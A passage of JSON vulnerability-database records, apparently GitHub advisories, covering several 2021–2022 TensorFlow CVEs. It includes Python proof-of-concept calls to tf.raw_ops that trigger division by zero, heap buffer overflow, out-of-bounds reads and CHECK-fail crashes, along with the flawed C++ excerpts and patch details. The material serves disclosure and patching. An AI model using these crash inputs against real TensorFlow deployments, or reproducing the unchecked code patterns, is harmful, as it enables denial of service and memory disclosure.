X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:23:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6g85-3hm8-83f9","https://nvd.nist.gov/vuln/detail/CVE-2021-29544","https://github.com/tensorflow/tensorflow/commit/20431e9044cf2ad3c0323c34888b192f3289af6b","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-472.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-670.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-181.yaml","https://github.com/tensorflow/tensorflow/blob/95078c145b5a7a43ee046144005f733092756ab5/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L162-L163","https://github.com/tensorflow/tensorflow/blob/95078c145b5a7a43ee046144005f733092756ab5/tensorflow/core/kernels/quantize_and_dequantize_op.h#L295-L306","https://github.com/advisories/GHSA-6g85-3hm8-83f9"],"source_kind":"github","identifiers":["GHSA-6g85-3hm8-83f9","CVE-2021-29544"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.575Z","updated_at":"2024-11-19T19:33:16.000Z","epss_percentage":0.00067,"epss_percentile":0.21169},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW0zNGotcDhyai13anhx","url":"https://github.com/advisories/GHSA-m34j-p8rj-wjxq","title":"Division by 0 in `QuantizedBiasAdd`","description":"### Impact\nAn attacker can trigger an integer division by zero undefined behavior in `tf.raw_ops.QuantizedBiasAdd`:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)\nbias = tf.constant([], shape=[0], dtype=tf.quint8)\nmin_input = tf.constant(-10.0, dtype=tf.float32)\nmax_input = tf.constant(-10.0, dtype=tf.float32)\nmin_bias = tf.constant(-10.0, dtype=tf.float32)\nmax_bias = tf.constant(-10.0, dtype=tf.float32)\n\ntf.raw_ops.QuantizedBiasAdd(input=input_tensor, bias=bias, min_input=min_input,\n                            max_input=max_input, min_bias=min_bias,\n                            max_bias=max_bias, out_type=tf.qint32)\n```\n\nThis is because the [implementation of the Eigen kernel](https://github.com/tensorflow/tensorflow/blob/61bca8bd5ba8a68b2d97435ddfafcdf2b85672cd/tensorflow/core/kernels/quantization_utils.h#L812-L849) does a division by the number of elements of the smaller input (based on shape) without checking that this is not zero:\n\n```cc\ntemplate \u003ctypename T1, typename T2, typename T3\u003e\nvoid QuantizedAddUsingEigen(const Eigen::ThreadPoolDevice\u0026 device,\n                            const Tensor\u0026 input, float input_min,\n                            float input_max, const Tensor\u0026 smaller_input,\n                            float smaller_input_min, float smaller_input_max,\n                            Tensor* output, float* output_min,\n                            float* output_max) {\n  ...\n  const int64 input_element_count = input.NumElements();\n  const int64 smaller_input_element_count = smaller_input.NumElements();\n  ...\n  bcast[0] = input_element_count / smaller_input_element_count;\n  ...\n}\n```\n\nThis integral division by 0 is undefined behavior.\n\n### Patches\nWe have patched the issue in GitHub commit [67784700869470d65d5f2ef20aeb5e97c31673cb](https://github.com/tensorflow/tensorflow/commit/67784700869470d65d5f2ef20aeb5e97c31673cb).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:23:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-m34j-p8rj-wjxq","https://nvd.nist.gov/vuln/detail/CVE-2021-29546","https://github.com/tensorflow/tensorflow/commit/67784700869470d65d5f2ef20aeb5e97c31673cb","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-474.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-672.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-183.yaml","https://github.com/advisories/GHSA-m34j-p8rj-wjxq"],"source_kind":"github","identifiers":["GHSA-m34j-p8rj-wjxq","CVE-2021-29546"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.607Z","updated_at":"2024-10-30T23:10:14.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWY3OGctcTdyNC05d2N2","url":"https://github.com/advisories/GHSA-f78g-q7r4-9wcv","title":"Division by 0 in `FractionalAvgPool`","description":"### Impact\nAn attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.FractionalAvgPool`:\n\n```python\nimport tensorflow as tf\n\nvalue = tf.constant([60], shape=[1, 1, 1, 1], dtype=tf.int32)\npooling_ratio = [1.0, 1.0000014345305555, 1.0, 1.0]\npseudo_random = False\noverlapping = False\ndeterministic = False\nseed = 0\nseed2 = 0\n\ntf.raw_ops.FractionalAvgPool(\n  value=value, pooling_ratio=pooling_ratio, pseudo_random=pseudo_random,\n  overlapping=overlapping, deterministic=deterministic, seed=seed, seed2=seed2)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_avg_pool_op.cc#L85-L89) computes a divisor quantity by dividing two user controlled values:\n\n```cc                     \nfor (int i = 0; i \u003c tensor_in_and_out_dims; ++i) {\n  output_size[i] = static_cast\u003cint\u003e(std::floor(input_size[i] / pooling_ratio_[i]));\n  DCHECK_GT(output_size[i], 0); \n} \n``` \n    \nThe user controls the values of `input_size[i]` and `pooling_ratio_[i]` (via the `value.shape()` and `pooling_ratio` arguments). If the value in `input_size[i]` is smaller than the `pooling_ratio_[i]`, then the floor operation results in `output_size[i]` being 0. The `DCHECK_GT` line is a no-op outside of debug mode, so in released versions of TF this does not trigger.\n\nLater, these computed values [are used as arguments](https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_avg_pool_op.cc#L96-L99) to [`GeneratePoolingSequence`](https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_pool_common.cc#L100-L108). There, the first computation is a division in a modulo operation:\n\n```cc\nstd::vector\u003cint64\u003e GeneratePoolingSequence(int input_length, int output_length,\n                                           GuardedPhiloxRandom* generator,\n                                           bool pseudo_random) {\n  ...\n  if (input_length % output_length == 0) {\n    diff = std::vector\u003cint64\u003e(output_length, input_length / output_length);\n  }\n  ...\n}\n```\n\nSince `output_length` can be 0, this results in runtime crashing.\n\n### Patches\nWe have patched the issue in GitHub commit [548b5eaf23685d86f722233d8fbc21d0a4aecb96](https://github.com/tensorflow/tensorflow/commit/548b5eaf23685d86f722233d8fbc21d0a4aecb96).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:23:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f78g-q7r4-9wcv","https://nvd.nist.gov/vuln/detail/CVE-2021-29550","https://github.com/tensorflow/tensorflow/commit/548b5eaf23685d86f722233d8fbc21d0a4aecb96","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-478.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-676.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-187.yaml","https://github.com/advisories/GHSA-f78g-q7r4-9wcv"],"source_kind":"github","identifiers":["GHSA-f78g-q7r4-9wcv","CVE-2021-29550"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.653Z","updated_at":"2024-10-30T23:16:11.000Z","epss_percentage":0.00015,"epss_percentile":0.018},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLThndjMtNTdwNi1nMzVy","url":"https://github.com/advisories/GHSA-8gv3-57p6-g35r","title":"Heap buffer overflow in `RaggedTensorToTensor`","description":"### Impact\nAn attacker can cause a heap buffer overflow in `tf.raw_ops.RaggedTensorToTensor`:\n\n```python\nimport tensorflow as tf\n\nshape = tf.constant([10, 10], shape=[2], dtype=tf.int64)\nvalues = tf.constant(0, shape=[1], dtype=tf.int64)\ndefault_value = tf.constant(0, dtype=tf.int64)\nl = [849, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\nrow = tf.constant(l, shape=[5, 43], dtype=tf.int64)\nrows = [row]\ntypes = ['ROW_SPLITS']\n\ntf.raw_ops.RaggedTensorToTensor(\n    shape=shape, values=values, default_value=default_value,\n    row_partition_tensors=rows, row_partition_types=types) \n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/d94227d43aa125ad8b54115c03cece54f6a1977b/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L219-L222) uses the same index to access two arrays in parallel:\n\n```cc\nfor (INDEX_TYPE i = 0; i \u003c row_split_size - 1; ++i) {\n  INDEX_TYPE row_length = row_split(i + 1) - row_split(i);\n  INDEX_TYPE real_length = std::min(output_size, row_length);\n  INDEX_TYPE parent_output_index_current = parent_output_index[i];\n  ...\n}\n```\n\nSince the user controls the shape of the input arguments, an attacker could trigger a heap OOB access when `parent_output_index` is shorter than `row_split`.\n\n### Patches\nWe have patched the issue in GitHub commit [a84358aa12f0b1518e606095ab9cfddbf597c121](https://github.com/tensorflow/tensorflow/commit/a84358aa12f0b1518e606095ab9cfddbf597c121).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:24:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-8gv3-57p6-g35r","https://nvd.nist.gov/vuln/detail/CVE-2021-29560","https://github.com/tensorflow/tensorflow/commit/a84358aa12f0b1518e606095ab9cfddbf597c121","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-488.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-686.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-197.yaml","https://github.com/advisories/GHSA-8gv3-57p6-g35r"],"source_kind":"github","identifiers":["GHSA-8gv3-57p6-g35r","CVE-2021-29560"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.840Z","updated_at":"2024-11-01T16:58:19.000Z","epss_percentage":0.00018,"epss_percentile":0.03113},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXI0YzQtNWZwcS01Nndn","url":"https://github.com/advisories/GHSA-r4c4-5fpq-56wg","title":"Heap OOB in boosted trees","description":"### Impact\nAn attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to `BoostedTreesSparseCalculateBestFeatureSplit`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.BoostedTreesSparseCalculateBestFeatureSplit(\n  node_id_range=[0,10],\n  stats_summary_indices=[[1, 2, 3, 0x1000000]],\n  stats_summary_values=[1.0],\n  stats_summary_shape=[1,1,1,1],\n  l1=l2=[1.0],\n  tree_complexity=[0.5],\n  min_node_weight=[1.0],\n  logits_dimension=3,\n  split_type='inequality')                                                                                                                                                                                                                                                                \n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/stats_ops.cc) needs to validate that each value in `stats_summary_indices` is in range.\n  \n### Patches\nWe have patched the issue in GitHub commit [e84c975313e8e8e38bb2ea118196369c45c51378](https://github.com/tensorflow/tensorflow/commit/e84c975313e8e8e38bb2ea118196369c45c51378).\n  \nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n  \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-08-25T14:42:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-r4c4-5fpq-56wg","https://nvd.nist.gov/vuln/detail/CVE-2021-37664","https://github.com/tensorflow/tensorflow/commit/e84c975313e8e8e38bb2ea118196369c45c51378","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-577.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-775.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-286.yaml","https://github.com/advisories/GHSA-r4c4-5fpq-56wg"],"source_kind":"github","identifiers":["GHSA-r4c4-5fpq-56wg","CVE-2021-37664"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.0745402714209,"packages":[{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.5.1","vulnerable_version_range":"= 2.5.0"},{"first_patched_version":"2.4.3","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.3"},{"first_patched_version":"2.3.4","vulnerable_version_range":"\u003c 2.3.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:49.387Z","updated_at":"2024-11-13T20:57:54.000Z","epss_percentage":0.00014,"epss_percentile":0.01485},{"uuid":"GSA_kwCzR0hTQS1xeDNmLXA3NDUtdzRocs0ogg","url":"https://github.com/advisories/GHSA-qx3f-p745-w4hr","title":"Integer overflow in Tensorflow","description":"### Impact\nThe implementation of `Range` suffers from integer overflows. These can trigger undefined behavior or, in some scenarios, extremely large allocations.\n\n### Patches\nWe have patched the issue in GitHub commit [f0147751fd5d2ff23251149ebad9af9f03010732](https://github.com/tensorflow/tensorflow/commit/f0147751fd5d2ff23251149ebad9af9f03010732) (merging [#51733](https://github.com/tensorflow/tensorflow/pull/51733)).\n\nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n### Attribution\nThis vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/52676).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-09T23:54:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-qx3f-p745-w4hr","https://github.com/tensorflow/tensorflow/issues/52676","https://github.com/tensorflow/tensorflow/pull/51733","https://github.com/tensorflow/tensorflow/commit/f0147751fd5d2ff23251149ebad9af9f03010732","https://nvd.nist.gov/vuln/detail/CVE-2022-23562","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-71.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-126.yaml","https://github.com/advisories/GHSA-qx3f-p745-w4hr"],"source_kind":"github","identifiers":["GHSA-qx3f-p745-w4hr","CVE-2022-23562"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":35.04809856489007,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:36.921Z","updated_at":"2024-11-13T22:38:51.000Z","epss_percentage":0.00361,"epss_percentile":0.57469},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWd2bTQtaDhqMy1yanJx","url":"https://github.com/advisories/GHSA-gvm4-h8j3-rjrq","title":"CHECK-fail in `LoadAndRemapMatrix`","description":"### Impact\nAn attacker can cause a denial of service by exploiting a `CHECK`-failure coming from `tf.raw_ops.LoadAndRemapMatrix`:\n    \n```python\nimport tensorflow as tf\n\nckpt_path = tf.constant([], shape=[0], dtype=tf.string)\nold_tensor_name = tf.constant(\"\")\nrow_remapping = tf.constant([], shape=[0], dtype=tf.int64)\ncol_remapping = tf.constant([1], shape=[1], dtype=tf.int64)\ninitializing_values = tf.constant(1.0)\n\ntf.raw_ops.LoadAndRemapMatrix(\n    ckpt_path=ckpt_path, old_tensor_name=old_tensor_name,\n    row_remapping=row_remapping, col_remapping=col_remapping,\n    initializing_values=initializing_values, num_rows=0, num_cols=1)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/d94227d43aa125ad8b54115c03cece54f6a1977b/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L219-L222) assumes that the `ckpt_path` is always a valid scalar.\n  \n```cc\nconst string\u0026 ckpt_path = ckpt_path_t-\u003escalar\u003ctstring\u003e()();\n```\n\nHowever, an attacker can send any other tensor as the first argument of `LoadAndRemapMatrix`. This would cause the rank `CHECK` in `scalar\u003cT\u003e()()` to trigger and terminate the process.\n\n### Patches\nWe have patched the issue in GitHub commit [77dd114513d7796e1e2b8aece214a380af26fbf4](https://github.com/tensorflow/tensorflow/commit/77dd114513d7796e1e2b8aece214a380af26fbf4).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:24:59.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-gvm4-h8j3-rjrq","https://nvd.nist.gov/vuln/detail/CVE-2021-29561","https://github.com/tensorflow/tensorflow/commit/77dd114513d7796e1e2b8aece214a380af26fbf4","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-489.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-687.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-198.yaml","https://github.com/advisories/GHSA-gvm4-h8j3-rjrq"],"source_kind":"github","identifiers":["GHSA-gvm4-h8j3-rjrq","CVE-2021-29561"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 